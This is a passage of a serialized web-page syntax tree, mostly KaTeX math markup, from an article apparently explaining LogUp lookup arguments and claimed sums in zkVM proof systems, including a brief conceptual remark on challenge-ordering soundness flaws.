className":113644,"style":112600},[4861],[],{"type":21,"tag":198,"props":113647,"children":113649},{"className":113648,"style":112688},[112618],[113650],{"type":21,"tag":198,"props":113651,"children":113653},{"className":113652,"style":112694},[112693],[113654],{"type":21,"tag":35050,"props":113655,"children":113656},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[113657],{"type":21,"tag":112706,"props":113658,"children":113659},{"d":112708},[],{"type":27,"value":113661}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":21,"tag":59,"props":113663,"children":113665},{"id":113664},"lookup-arguments-logup",[113666],{"type":27,"value":113667},"Lookup Arguments (LogUp)",{"type":21,"tag":30,"props":113669,"children":113670},{},[113671],{"type":27,"value":113672},"zkVMs need to check that values satisfy certain properties. For example:",{"type":21,"tag":138,"props":113674,"children":113675},{},[113676,113732,113737],{"type":21,"tag":75,"props":113677,"children":113678},{},[113679,113681,113731],{"type":27,"value":113680},"Is this byte in range ",{"type":21,"tag":194,"props":113682,"children":113684},{"className":113683},[4794,4795],[113685],{"type":21,"tag":198,"props":113686,"children":113688},{"className":113687},[4800],[113689],{"type":21,"tag":198,"props":113690,"children":113692},{"className":113691,"ariaHidden":4806},[4805],[113693],{"type":21,"tag":198,"props":113694,"children":113696},{"className":113695},[4811],[113697,113701,113706,113711,113716,113720,113726],{"type":21,"tag":198,"props":113698,"children":113700},{"className":113699,"style":4922},[4816],[],{"type":21,"tag":198,"props":113702,"children":113704},{"className":113703},[22510],[113705],{"type":27,"value":2051},{"type":21,"tag":198,"props":113707,"children":113709},{"className":113708},[4822],[113710],{"type":27,"value":3482},{"type":21,"tag":198,"props":113712,"children":113714},{"className":113713},[4933],[113715],{"type":27,"value":2205},{"type":21,"tag":198,"props":113717,"children":113719},{"className":113718,"style":4939},[4901],[],{"type":21,"tag":198,"props":113721,"children":113723},{"className":113722},[4822],[113724],{"type":27,"value":113725},"255",{"type":21,"tag":198,"props":113727,"children":113729},{"className":113728},[22532],[113730],{"type":27,"value":2071},{"type":27,"value":2156},{"type":21,"tag":75,"props":113733,"children":113734},{},[113735],{"type":27,"value":113736},"Does this opcode decode correctly?",{"type":21,"tag":75,"props":113738,"children":113739},{},[113740],{"type":27,"value":113741},"Is this memory access consistent with previous accesses?",{"type":21,"tag":30,"props":113743,"children":113744},{},[113745,113750],{"type":21,"tag":6137,"props":113746,"children":113747},{},[113748],{"type":27,"value":113749},"The naive approach:",{"type":27,"value":113751}," Add constraints for each check. Expensive.",{"type":21,"tag":30,"props":113753,"children":113754},{},[113755,113760,113762,113767],{"type":21,"tag":6137,"props":113756,"children":113757},{},[113758],{"type":27,"value":113759},"The clever approach:",{"type":27,"value":113761}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":21,"tag":6137,"props":113763,"children":113764},{},[113765],{"type":27,"value":113766},"multiset membership",{"type":27,"value":68175},{"type":21,"tag":30,"props":113769,"children":113770},{},[113771,113776],{"type":21,"tag":6137,"props":113772,"children":113773},{},[113774],{"type":27,"value":113775},"LogUp (Logarithmic Derivative):",{"type":27,"value":113777}," Encode multiset membership as a sum of fractions.",{"type":21,"tag":30,"props":113779,"children":113780},{},[113781,113783,113808,113810,113837],{"type":27,"value":113782},"If set ",{"type":21,"tag":194,"props":113784,"children":113786},{"className":113785},[4794,4795],[113787],{"type":21,"tag":198,"props":113788,"children":113790},{"className":113789},[4800],[113791],{"type":21,"tag":198,"props":113792,"children":113794},{"className":113793,"ariaHidden":4806},[4805],[113795],{"type":21,"tag":198,"props":113796,"children":113798},{"className":113797},[4811],[113799,113803],{"type":21,"tag":198,"props":113800,"children":113802},{"className":113801,"style":22376},[4816],[],{"type":21,"tag":198,"props":113804,"children":113806},{"className":113805},[4822,22381],[113807],{"type":27,"value":77149},{"type":27,"value":113809}," should equal set ",{"type":21,"tag":194,"props":113811,"children":113813},{"className":113812},[4794,4795],[113814],{"type":21,"tag":198,"props":113815,"children":113817},{"className":113816},[4800],[113818],{"type":21,"tag":198,"props":113819,"children":113821},{"className":113820,"ariaHidden":4806},[4805],[113822],{"type":21,"tag":198,"props":113823,"children":113825},{"className":113824},[4811],[113826,113830],{"type":21,"tag":198,"props":113827,"children":113829},{"className":113828,"style":22376},[4816],[],{"type":21,"tag":198,"props":113831,"children":113834},{"className":113832,"style":113833},[4822,22381],"margin-right:0.05017em;",[113835],{"type":27,"value":113836},"B",{"type":27,"value":113838}," as multisets:",{"type":21,"tag":30,"props":113840,"children":113841},{},[113842],{"type":21,"tag":194,"props":113843,"children":113845},{"className":113844},[4794,4795],[113846],{"type":21,"tag":198,"props":113847,"children":113849},{"className":113848},[4800],[113850],{"type":21,"tag":198,"props":113851,"children":113853},{"className":113852,"ariaHidden":4806},[4805],[113854,114069],{"type":21,"tag":198,"props":113855,"children":113857},{"className":113856},[4811],[113858,113863,113936,113940,114056,114060,114065],{"type":21,"tag":198,"props":113859,"children":113862},{"className":113860,"style":113861},[4816],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":21,"tag":198,"props":113864,"children":113866},{"className":113865},[22417],[113867,113872],{"type":21,"tag":198,"props":113868,"children":113870},{"className":113869,"style":22424},[22417,22422,22423],[113871],{"type":27,"value":109224},{"type":21,"tag":198,"props":113873,"children":113875},{"className":113874},[4837],[113876],{"type":21,"tag":198,"props":113877,"children":113879},{"className":113878},[4842,22435],[113880,113924],{"type":21,"tag":198,"props":113881,"children":113883},{"className":113882},[4847],[113884,113919],{"type":21,"tag":198,"props":113885,"children":113888},{"className":113886,"style":113887},[4852],"height:0.1786em;",[113889],{"type":21,"tag":198,"props":113890,"children":113891},{"style":22448},[113892,113896],{"type":21,"tag":198,"props":113893,"children":113895},{"className":113894,"style":4862},[4861],[],{"type":21,"tag":198,"props":113897,"children":113899},{"className":113898},[4867,4868,4869,4870],[113900],{"type":21,"tag":198,"props":113901,"children":113903},{"className":113902},[4822,4870],[113904,113909,113914],{"type":21,"tag":198,"props":113905,"children":113907},{"className":113906},[4822,22381,4870],[113908],{"type":27,"value":34},{"type":21,"tag":198,"props":113910,"children":113912},{"className":113911},[5003,4870],[113913],{"type":27,"value":22488},{"type":21,"tag":198,"props":113915,"children":113917},{"className":113916},[4822,22381,4870],[113918],{"type":27,"value":77149},{"type":21,"tag":198,"props":113920,"children":113922},{"className":113921},[22538],[113923],{"type":27,"value":22541},{"type":21,"tag":198,"props":113925,"children":113927},{"className":113926},[4847],[113928],{"type":21,"tag":198,"props":113929,"children":113932},{"className":113930,"style":113931},[4852],"height:0.3271em;",[113933],{"type":21,"tag":198,"props":113934,"children":113935},{},[],{"type":21,"tag":198,"props":113937,"children":113939},{"className":113938,"style":4939},[4901],[],{"type":21,"tag":198,"props":113941,"children":113943},{"className":113942},[4822],[113944,113949,114052],{"type":21,"tag":198,"props":113945,"children":113948},{"className":113946},[22510,113947],"nulldelimiter",[],{"type":21,"tag":198,"props":113950,"children":113953},{"className":113951},[113952],"mfrac",[113954],{"type":21,"tag":198,"props":113955,"children":113957},{"className":113956},[4842,22435],[113958,114040],{"type":21,"tag":198,"props":113959,"children":113961},{"className":113960},[4847],[113962,114035],{"type":21,"tag":198,"props":113963,"children":113966},{"className":113964,"style":113965},[4852],"height:0.8451em;",[113967,114000,114014],{"type":21,"tag":198,"props":113968,"children":113970},{"style":113969},"top:-2.655em;",[113971,113975],{"type":21,"tag":198,"props":113972,"children":113974},{"className":113973,"style":112600},[4861],[],{"type":21,"tag":198,"props":113976,"children":113978},{"className":113977},[4867,4868,4869,4870],[113979],{"type":21,"tag":198,"props":113980,"children":113982},{"className":113981},[4822,4870],[113983,113990,113995],{"type":21,"tag":198,"props":113984,"children":113987},{"className":113985,"style":113986},[4822,22381,4870],"margin-right:0.04398em;",[113988],{"type":27,"value":113989},"z",{"type":21,"tag":198,"props":113991,"children":113993},{"className":113992},[4907,4870],[113994],{"type":27,"value":4881},{"type":21,"tag":198,"props":113996,"children":113998},{"className":113997},[4822,22381,4870],[113999],{"type":27,"value":34},{"type":21,"tag":198,"props":114001,"children":114003},{"style":114002},"top:-3.23em;",[114004,114008],{"type":21,"tag":198,"props":114005,"children":114007},{"className":114006,"style":112600},[4861],[],{"type":21,"tag":198,"props":114009,"children":114013},{"className":114010,"style":114012},[114011],"frac-line","border-bottom-width:0.04em;",[],{"type":21,"tag":198,"props":114015,"children":114017},{"style":114016},"top:-3.394em;",[114018,114022],{"type":21,"tag":198,"props":114019,"children":114021},{"className":114020,"style":112600},[4861],[],{"type":21,"tag":198,"props":114023,"children":114025},{"className":114024},[4867,4868,4869,4870],[114026],{"type":21,"tag":198,"props":114027,"children":114029},{"className":114028},[4822,4870],[114030],{"type":21,"tag":198,"props":114031,"children":114033},{"className":114032},[4822,4870],[114034],{"type":27,"value":134},{"type":21,"tag":198,"props":114036,"children":114038},{"className":114037},[22538],[114039],{"type":27,"value":22541},{"type":21,"tag":198,"props":114041,"children":114043},{"className":114042},[4847],[114044],{"type":21,"tag":198,"props":114045,"children":114048},{"className":114046,"style":114047},[4852],"height:0.4033em;",[114049],{"type":21,"tag":198,"props":114050,"children":114051},{},[],{"type":21,"tag":198,"props":114053,"children":114055},{"className":114054},[22532,113947],[],{"type":21,"tag":198,"props":114057,"children":114059},{"className":114058,"style":4998},[4901],[],{"type":21,"tag":198,"props":114061,"children":114063},{"className":114062},[5003],[114064],{"type":27,"value":3174},{"type":21,"tag":198,"props":114066,"children":114068},{"className":114067,"style":4998},[4901],[],{"type":21,"tag":198,"props":114070,"children":114072},{"className":114071},[4811],[114073,114077,114149,114153],{"type":21,"tag":198,"props":114074,"children":114076},{"className":114075,"style":113861},[4816],[],{"type":21,"tag":198,"props":114078,"children":114080},{"className":114079},[22417],[114081,114086],{"type":21,"tag":198,"props":114082,"children":114084},{"className":114083,"style":22424},[22417,22422,22423],[114085],{"type":27,"value":109224},{"type":21,"tag":198,"props":114087,"children":114089},{"className":114088},[4837],[114090],{"type":21,"tag":198,"props":114091,"children":114093},{"className":114092},[4842,22435],[114094,114138],{"type":21,"tag":198,"props":114095,"children":114097},{"className":114096},[4847],[114098,114133],{"type":21,"tag":198,"props":114099,"children":114102},{"className":114100,"style":114101},[4852],"height:0.1864em;",[114103],{"type":21,"tag":198,"props":114104,"children":114105},{"style":22448},[114106,114110],{"type":21,"tag":198,"props":114107,"children":114109},{"className":114108,"style":4862},[4861],[],{"type":21,"tag":198,"props":114111,"children":114113},{"className":114112},[4867,4868,4869,4870],[114114],{"type":21,"tag":198,"props":114115,"children":114117},{"className":114116},[4822,4870],[114118,114123,114128],{"type":21,"tag":198,"props":114119,"children":114121},{"className":114120},[4822,22381,4870],[114122],{"type":27,"value":4029},{"type":21,"tag":198,"props":114124,"children":114126},{"className":114125},[5003,4870],[114127],{"type":27,"value":22488},{"type":21,"tag":198,"props":114129,"children":114131},{"className":114130,"style":113833},[4822,22381,4870],[114132],{"type":27,"value":113836},{"type":21,"tag":198,"props":114134,"children":114136},{"className":114135},[22538],[114137],{"type":27,"value":22541},{"type":21,"tag":198,"props":114139,"children":114141},{"className":114140},[4847],[114142],{"type":21,"tag":198,"props":114143,"children":114145},{"className":114144,"style":113931},[4852],[114146],{"type":21,"tag":198,"props":114147,"children":114148},{},[],{"type":21,"tag":198,"props":114150,"children":114152},{"className":114151,"style":4939},[4901],[],{"type":21,"tag":198,"props":114154,"children":114156},{"className":114155},[4822],[114157,114161,114254],{"type":21,"tag":198,"props":114158,"children":114160},{"className":114159},[22510,113947],[],{"type":21,"tag":198,"props":114162,"children":114164},{"className":114163},[113952],[114165],{"type":21,"tag":198,"props":114166,"children":114168},{"className":114167},[4842,22435],[114169,114243],{"type":21,"tag":198,"props":114170,"children":114172},{"className":114171},[4847],[114173,114238],{"type":21,"tag":198,"props":114174,"children":114176},{"className":114175,"style":113965},[4852],[114177,114207,114218],{"type":21,"tag":198,"props":114178,"children":114179},{"style":113969},[114180,114184],{"type":21,"tag":198,"props":114181,"children":114183},{"className":114182,"style":112600},[4861],[],{"type":21,"tag":198,"props":114185,"children":114187},{"className":114186},[4867,4868,4869,4870],[114188],{"type":21,"tag":198,"props":114189,"children":114191},{"className":114190},[4822,4870],[114192,114197,114202],{"type":21,"tag":198,"props":114193,"children":114195},{"className":114194,"style":113986},[4822,22381,4870],[114196],{"type":27,"value":113989},{"type":21,"tag":198,"props":114198,"children":114200},{"className":114199},[4907,4870],[114201],{"type":27,"value":4881},{"type":21,"tag":198,"props":114203,"children":114205},{"className":114204},[4822,22381,4870],[114206],{"type":27,"value":4029},{"type":21,"tag":198,"props":114208,"children":114209},{"style":114002},[114210,114214],{"type":21,"tag":198,"props":114211,"children":114213},{"className":114212,"style":112600},[4861],[],{"type":21,"tag":198,"props":114215,"children":114217},{"className":114216,"style":114012},[114011],[],{"type":21,"tag":198,"props":114219,"children":114220},{"style":114016},[114221,114225],{"type":21,"tag":198,"props":114222,"children":114224},{"className":114223,"style":112600},[4861],[],{"type":21,"tag":198,"props":114226,"children":114228},{"className":114227},[4867,4868,4869,4870],[114229],{"type":21,"tag":198,"props":114230,"children":114232},{"className":114231},[4822,4870],[114233],{"type":21,"tag":198,"props":114234,"children":114236},{"className":114235},[4822,4870],[114237],{"type":27,"value":134},{"type":21,"tag":198,"props":114239,"children":114241},{"className":114240},[22538],[114242],{"type":27,"value":22541},{"type":21,"tag":198,"props":114244,"children":114246},{"className":114245},[4847],[114247],{"type":21,"tag":198,"props":114248,"children":114250},{"className":114249,"style":114047},[4852],[114251],{"type":21,"tag":198,"props":114252,"children":114253},{},[],{"type":21,"tag":198,"props":114255,"children":114257},{"className":114256},[22532,113947],[],{"type":21,"tag":30,"props":114259,"children":114260},{},[114261,114263,114288],{"type":27,"value":114262},"for random challenge ",{"type":21,"tag":194,"props":114264,"children":114266},{"className":114265},[4794,4795],[114267],{"type":21,"tag":198,"props":114268,"children":114270},{"className":114269},[4800],[114271],{"type":21,"tag":198,"props":114272,"children":114274},{"className":114273,"ariaHidden":4806},[4805],[114275],{"type":21,"tag":198,"props":114276,"children":114278},{"className":114277},[4811],[114279,114283],{"type":21,"tag":198,"props":114280,"children":114282},{"className":114281,"style":111270},[4816],[],{"type":21,"tag":198,"props":114284,"children":114286},{"className":114285,"style":113986},[4822,22381],[114287],{"type":27,"value":113989},{"type":27,"value":114289},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":21,"tag":30,"props":114291,"children":114292},{},[114293,114298],{"type":21,"tag":6137,"props":114294,"children":114295},{},[114296],{"type":27,"value":114297},"In zkVMs:",{"type":27,"value":114299}," Different components emit and consume lookup tuples:",{"type":21,"tag":138,"props":114301,"children":114302},{},[114303,114390],{"type":21,"tag":75,"props":114304,"children":114305},{},[114306,114308,114334,114336,114361,114363,114389],{"type":27,"value":114307},"CPU emits: \"I read value ",{"type":21,"tag":194,"props":114309,"children":114311},{"className":114310},[4794,4795],[114312],{"type":21,"tag":198,"props":114313,"children":114315},{"className":114314},[4800],[114316],{"type":21,"tag":198,"props":114317,"children":114319},{"className":114318,"ariaHidden":4806},[4805],[114320],{"type":21,"tag":198,"props":114321,"children":114323},{"className":114322},[4811],[114324,114328],{"type":21,"tag":198,"props":114325,"children":114327},{"className":114326,"style":111270},[4816],[],{"type":21,"tag":198,"props":114329,"children":114331},{"className":114330,"style":93915},[4822,22381],[114332],{"type":27,"value":114333},"v",{"type":27,"value":114335}," from address ",{"type":21,"tag":194,"props":114337,"children":114339},{"className":114338},[4794,4795],[114340],{"type":21,"tag":198,"props":114341,"children":114343},{"className":114342},[4800],[114344],{"type":21,"tag":198,"props":114345,"children":114347},{"className":114346,"ariaHidden":4806},[4805],[114348],{"type":21,"tag":198,"props":114349,"children":114351},{"className":114350},[4811],[114352,114356],{"type":21,"tag":198,"props":114353,"children":114355},{"className":114354,"style":111270},[4816],[],{"type":21,"tag":198,"props":114357,"children":114359},{"className":114358},[4822,22381],[114360],{"type":27,"value":34},{"type":27,"value":114362}," at time ",{"type":21,"tag":194,"props":114364,"children":114366},{"className":114365},[4794,4795],[114367],{"type":21,"tag":198,"props":114368,"children":114370},{"className":114369},[4800],[114371],{"type":21,"tag":198,"props":114372,"children":114374},{"className":114373,"ariaHidden":4806},[4805],[114375],{"type":21,"tag":198,"props":114376,"children":114378},{"className":114377},[4811],[114379,114384],{"type":21,"tag":198,"props":114380,"children":114383},{"className":114381,"style":114382},[4816],"height:0.6151em;",[],{"type":21,"tag":198,"props":114385,"children":114387},{"className":114386},[4822,22381],[114388],{"type":27,"value":22523},{"type":27,"value":20854},{"type":21,"tag":75,"props":114391,"children":114392},{},[114393,114395,114420,114422,114447,114449,114474],{"type":27,"value":114394},"Memory table consumes: \"At time ",{"type":21,"tag":194,"props":114396,"children":114398},{"className":114397},[4794,4795],[114399],{"type":21,"tag":198,"props":114400,"children":114402},{"className":114401},[4800],[114403],{"type":21,"tag":198,"props":114404,"children":114406},{"className":114405,"ariaHidden":4806},[4805],[114407],{"type":21,"tag":198,"props":114408,"children":114410},{"className":114409},[4811],[114411,114415],{"type":21,"tag":198,"props":114412,"children":114414},{"className":114413,"style":114382},[4816],[],{"type":21,"tag":198,"props":114416,"children":114418},{"className":114417},[4822,22381],[114419],{"type":27,"value":22523},{"type":27,"value":114421},", address ",{"type":21,"tag":194,"props":114423,"children":114425},{"className":114424},[4794,4795],[114426],{"type":21,"tag":198,"props":114427,"children":114429},{"className":114428},[4800],[114430],{"type":21,"tag":198,"props":114431,"children":114433},{"className":114432,"ariaHidden":4806},[4805],[114434],{"type":21,"tag":198,"props":114435,"children":114437},{"className":114436},[4811],[114438,114442],{"type":21,"tag":198,"props":114439,"children":114441},{"className":114440,"style":111270},[4816],[],{"type":21,"tag":198,"props":114443,"children":114445},{"className":114444},[4822,22381],[114446],{"type":27,"value":34},{"type":27,"value":114448}," contained ",{"type":21,"tag":194,"props":114450,"children":114452},{"className":114451},[4794,4795],[114453],{"type":21,"tag":198,"props":114454,"children":114456},{"className":114455},[4800],[114457],{"type":21,"tag":198,"props":114458,"children":114460},{"className":114459,"ariaHidden":4806},[4805],[114461],{"type":21,"tag":198,"props":114462,"children":114464},{"className":114463},[4811],[114465,114469],{"type":21,"tag":198,"props":114466,"children":114468},{"className":114467,"style":111270},[4816],[],{"type":21,"tag":198,"props":114470,"children":114472},{"className":114471,"style":93915},[4822,22381],[114473],{"type":27,"value":114333},{"type":27,"value":20854},{"type":21,"tag":30,"props":114476,"children":114477},{},[114478],{"type":27,"value":114479},"If everything balances, the execution is consistent.",{"type":21,"tag":30,"props":114481,"children":114482},{},[114483,114488],{"type":21,"tag":6137,"props":114484,"children":114485},{},[114486],{"type":27,"value":114487},"The claimed_sum:",{"type":27,"value":114489}," Each component computes its contribution to the LogUp sum:",{"type":21,"tag":30,"props":114491,"children":114492},{},[114493],{"type":21,"tag":194,"props":114494,"children":114496},{"className":114495},[4794,4795],[114497],{"type":21,"tag":198,"props":114498,"children":114500},{"className":114499},[4800],[114501],{"type":21,"tag":198,"props":114502,"children":114504},{"className":114503,"ariaHidden":4806},[4805],[114505,114603,114854],{"type":21,"tag":198,"props":114506,"children":114508},{"className":114507},[4811],[114509,114513,114523,114528,114590,114594,114599],{"type":21,"tag":198,"props":114510,"children":114512},{"className":114511,"style":94842},[4816],[],{"type":21,"tag":198,"props":114514,"children":114516},{"className":114515},[4822,27],[114517],{"type":21,"tag":198,"props":114518,"children":114520},{"className":114519},[4822],[114521],{"type":27,"value":114522},"claimed",{"type":21,"tag":198,"props":114524,"children":114526},{"className":114525,"style":93429},[4822],[114527],{"type":27,"value":3891},{"type":21,"tag":198,"props":114529,"children":114531},{"className":114530},[4822],[114532,114541],{"type":21,"tag":198,"props":114533,"children":114535},{"className":114534},[4822,27],[114536],{"type":21,"tag":198,"props":114537,"children":114539},{"className":114538},[4822],[114540],{"type":27,"value":77014},{"type":21,"tag":198,"props":114542,"children":114544},{"className":114543},[4837],[114545],{"type":21,"tag":198,"props":114546,"children":114548},{"className":114547},[4842,22435],[114549,114579],{"type":21,"tag":198,"props":114550,"children":114552},{"className":114551},[4847],[114553,114574],{"type":21,"tag":198,"props":114554,"children":114556},{"className":114555,"style":93958},[4852],[114557],{"type":21,"tag":198,"props":114558,"children":114560},{"style":114559},"top:-2.55em;margin-right:0.05em;",[114561,114565],{"type":21,"tag":198,"props":114562,"children":114564},{"className":114563,"style":4862},[4861],[],{"type":21,"tag":198,"props":114566,"children":114568},{"className":114567},[4867,4868,4869,4870],[114569],{"type":21,"tag":198,"props":114570,"children":114572},{"className":114571},[4822,22381,4870],[114573],{"type":27,"value":4544},{"type":21,"tag":198,"props":114575,"children":114577},{"className":114576},[22538],[114578],{"type":27,"value":22541},{"type":21,"tag":198,"props":114580,"children":114582},{"className":114581},[4847],[114583],{"type":21,"tag":198,"props":114584,"children":114586},{"className":114585,"style":93512},[4852],[114587],{"type":21,"tag":198,"props":114588,"children":114589},{},[],{"type":21,"tag":198,"props":114591,"children":114593},{"className":114592,"style":4998},[4901],[],{"type":21,"tag":198,"props":114595,"children":114597},{"className":114596},[5003],[114598],{"type":27,"value":3174},{"type":21,"tag":198,"props":114600,"children":114602},{"className":114601,"style":4998},[4901],[],{"type":21,"tag":198,"props":114604,"children":114606},{"className":114605},[4811],[114607,114612,114672,114676,114841,114845,114850],{"type":21,"tag":198,"props":114608,"children":114611},{"className":114609,"style":114610},[4816],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":21,"tag":198,"props":114613,"children":114615},{"className":114614},[22417],[114616,114621],{"type":21,"tag":198,"props":114617,"children":114619},{"className":114618,"style":22424},[22417,22422,22423],[114620],{"type":27,"value":109224},{"type":21,"tag":198,"props":114622,"children":114624},{"className":114623},[4837],[114625],{"type":21,"tag":198,"props":114626,"children":114628},{"className":114627},[4842,22435],[114629,114660],{"type":21,"tag":198,"props":114630,"children":114632},{"className":114631},[4847],[114633,114655],{"type":21,"tag":198,"props":114634,"children":114637},{"className":114635,"style":114636},[4852],"height:0.162em;",[114638],{"type":21,"tag":198,"props":114639,"children":114640},{"style":22448},[114641,114645],{"type":21,"tag":198,"props":114642,"children":114644},{"className":114643,"style":4862},[4861],[],{"type":21,"tag":198,"props":114646,"children":114648},{"className":114647},[4867,4868,4869,4870],[114649],{"type":21,"tag":198,"props":114650,"children":114653},{"className":114651,"style":114652},[4822,22381,4870],"margin-right:0.05724em;",[114654],{"type":27,"value":9467},{"type":21,"tag":198,"props":114656,"children":114658},{"className":114657},[22538],[114659],{"type":27,"value":22541},{"type":21,"tag":198,"props":114661,"children":114663},{"className":114662},[4847],[114664],{"type":21,"tag":198,"props":114665,"children":114668},{"className":114666,"style":114667},[4852],"height:0.4358em;",[114669],{"type":21,"tag":198,"props":114670,"children":114671},{},[],{"type":21,"tag":198,"props":114673,"children":114675},{"className":114674,"style":4939},[4901],[],{"type":21,"tag":198,"props":114677,"children":114679},{"className":114678},[4822],[114680,114684,114837],{"type":21,"tag":198,"props":114681,"children":114683},{"className":114682},[22510,113947],[],{"type":21,"tag":198,"props":114685,"children":114687},{"className":114686},[113952],[114688],{"type":21,"tag":198,"props":114689,"children":114691},{"className":114690},[4842,22435],[114692,114825],{"type":21,"tag":198,"props":114693,"children":114695},{"className":114694},[4847],[114696,114820],{"type":21,"tag":198,"props":114697,"children":114699},{"className":114698,"style":113965},[4852],[114700,114789,114800],{"type":21,"tag":198,"props":114701,"children":114702},{"style":113969},[114703,114707],{"type":21,"tag":198,"props":114704,"children":114706},{"className":114705,"style":112600},[4861],[],{"type":21,"tag":198,"props":114708,"children":114710},{"className":114709},[4867,4868,4869,4870],[114711],{"type":21,"tag":198,"props":114712,"children":114714},{"className":114713},[4822,4870],[114715,114720,114725],{"type":21,"tag":198,"props":114716,"children":114718},{"className":114717,"style":113986},[4822,22381,4870],[114719],{"type":27,"value":113989},{"type":21,"tag":198,"props":114721,"children":114723},{"className":114722},[4907,4870],[114724],{"type":27,"value":4881},{"type":21,"tag":198,"props":114726,"children":114728},{"className":114727},[4822,4870],[114729,114738],{"type":21,"tag":198,"props":114730,"children":114732},{"className":114731},[4822,27,4870],[114733],{"type":21,"tag":198,"props":114734,"children":114736},{"className":114735},[4822,4870],[114737],{"type":27,"value":62386},{"type":21,"tag":198,"props":114739,"children":114741},{"className":114740},[4837],[114742],{"type":21,"tag":198,"props":114743,"children":114745},{"className":114744},[4842,22435],[114746,114777],{"type":21,"tag":198,"props":114747,"children":114749},{"className":114748},[4847],[114750,114772],{"type":21,"tag":198,"props":114751,"children":114754},{"className":114752,"style":114753},[4852],"height:0.3281em;",[114755],{"type":21,"tag":198,"props":114756,"children":114758},{"style":114757},"top:-2.357em;margin-right:0.0714em;",[114759,114763],{"type":21,"tag":198,"props":114760,"children":114762},{"className":114761,"style":109289},[4861],[],{"type":21,"tag":198,"props":114764,"children":114766},{"className":114765},[4867,109294,109295,4870],[114767],{"type":21,"tag":198,"props":114768,"children":114770},{"className":114769,"style":114652},[4822,22381,4870],[114771],{"type":27,"value":9467},{"type":21,"tag":198,"props":114773,"children":114775},{"className":114774},[22538],[114776],{"type":27,"value":22541},{"type":21,"tag":198,"props":114778,"children":114780},{"className":114779},[4847],[114781],{"type":21,"tag":198,"props":114782,"children":114785},{"className":114783,"style":114784},[4852],"height:0.2819em;",[114786],{"type":21,"tag":198,"props":114787,"children":114788},{},[],{"type":21,"tag":198,"props":114790,"children":114791},{"style":114002},[114792,114796],{"type":21,"tag":198,"props":114793,"children":114795},{"className":114794,"style":112600},[4861],[],{"type":21,"tag":198,"props":114797,"children":114799},{"className":114798,"style":114012},[114011],[],{"type":21,"tag":198,"props":114801,"children":114802},{"style":114016},[114803,114807],{"type":21,"tag":198,"props":114804,"children":114806},{"className":114805,"style":112600},[4861],[],{"type":21,"tag":198,"props":114808,"children":114810},{"className":114809},[4867,4868,4869,4870],[114811],{"type":21,"tag":198,"props":114812,"children":114814},{"className":114813},[4822,4870],[114815],{"type":21,"tag":198,"props":114816,"children":114818},{"className":114817},[4822,4870],[114819],{"type":27,"value":134},{"type":21,"tag":198,"props":114821,"children":114823},{"className":114822},[22538],[114824],{"type":27,"value":22541},{"type":21,"tag":198,"props":114826,"children":114828},{"className":114827},[4847],[114829],{"type":21,"tag":198,"props":114830,"children":114833},{"className":114831,"style":114832},[4852],"height:0.5423em;",[114834],{"type":21,"tag":198,"props":114835,"children":114836},{},[],{"type":21,"tag":198,"props":114838,"children":114840},{"className":114839},[22532,113947],[],{"type":21,"tag":198,"props":114842,"children":114844},{"className":114843,"style":4902},[4901],[],{"type":21,"tag":198,"props":114846,"children":114848},{"className":114847},[4907],[114849],{"type":27,"value":4881},{"type":21,"tag":198,"props":114851,"children":114853},{"className":114852,"style":4902},[4901],[],{"type":21,"tag":198,"props":114855,"children":114857},{"className":114856},[4811],[114858,114863,114921,114925],{"type":21,"tag":198,"props":114859,"children":114862},{"className":114860,"style":114861},[4816],"height:1.296em;vertical-align:-0.4509em;",[],{"type":21,"tag":198,"props":114864,"children":114866},{"className":114865},[22417],[114867,114872],{"type":21,"tag":198,"props":114868,"children":114870},{"className":114869,"style":22424},[22417,22422,22423],[114871],{"type":27,"value":109224},{"type":21,"tag":198,"props":114873,"children":114875},{"className":114874},[4837],[114876],{"type":21,"tag":198,"props":114877,"children":114879},{"className":114878},[4842,22435],[114880,114909],{"type":21,"tag":198,"props":114881,"children":114883},{"className":114882},[4847],[114884,114904],{"type":21,"tag":198,"props":114885,"children":114887},{"className":114886,"style":114101},[4852],[114888],{"type":21,"tag":198,"props":114889,"children":114890},{"style":22448},[114891,114895],{"type":21,"tag":198,"props":114892,"children":114894},{"className":114893,"style":4862},[4861],[],{"type":21,"tag":198,"props":114896,"children":114898},{"className":114897},[4867,4868,4869,4870],[114899],{"type":21,"tag":198,"props":114900,"children":114902},{"className":114901,"style":94858},[4822,22381,4870],[114903],{"type":27,"value":89066},{"type":21,"tag":198,"props":114905,"children":114907},{"className":114906},[22538],[114908],{"type":27,"value":22541},{"type":21,"tag":198,"props":114910,"children":114912},{"className":114911},[4847],[114913],{"type":21,"tag":198,"props":114914,"children":114917},{"className":114915,"style":114916},[4852],"height:0.2997em;",[114918],{"type":21,"tag":198,"props":114919,"children":114920},{},[],{"type":21,"tag":198,"props":114922,"children":114924},{"className":114923,"style":4939},[4901],[],{"type":21,"tag":198,"props":114926,"children":114928},{"className":114927},[4822],[114929,114933,115086],{"type":21,"tag":198,"props":114930,"children":114932},{"className":114931},[22510,113947],[],{"type":21,"tag":198,"props":114934,"children":114936},{"className":114935},[113952],[114937],{"type":21,"tag":198,"props":114938,"children":114940},{"className":114939},[4842,22435],[114941,115074],{"type":21,"tag":198,"props":114942,"children":114944},{"className":114943},[4847],[114945,115069],{"type":21,"tag":198,"props":114946,"children":114948},{"className":114947,"style":113965},[4852],[114949,115038,115049],{"type":21,"tag":198,"props":114950,"children":114951},{"style":113969},[114952,114956],{"type":21,"tag":198,"props":114953,"children":114955},{"className":114954,"style":112600},[4861],[],{"type":21,"tag":198,"props":114957,"children":114959},{"className":114958},[4867,4868,4869,4870],[114960],{"type":21,"tag":198,"props":114961,"children":114963},{"className":114962},[4822,4870],[114964,114969,114974],{"type":21,"tag":198,"props":114965,"children":114967},{"className":114966,"style":113986},[4822,22381,4870],[114968],{"type":27,"value":113989},{"type":21,"tag":198,"props":114970,"children":114972},{"className":114971},[4907,4870],[114973],{"type":27,"value":4881},{"type":21,"tag":198,"props":114975,"children":114977},{"className":114976},[4822,4870],[114978,114988],{"type":21,"tag":198,"props":114979,"children":114981},{"className":114980},[4822,27,4870],[114982],{"type":21,"tag":198,"props":114983,"children":114985},{"className":114984},[4822,4870],[114986],{"type":27,"value":114987},"consum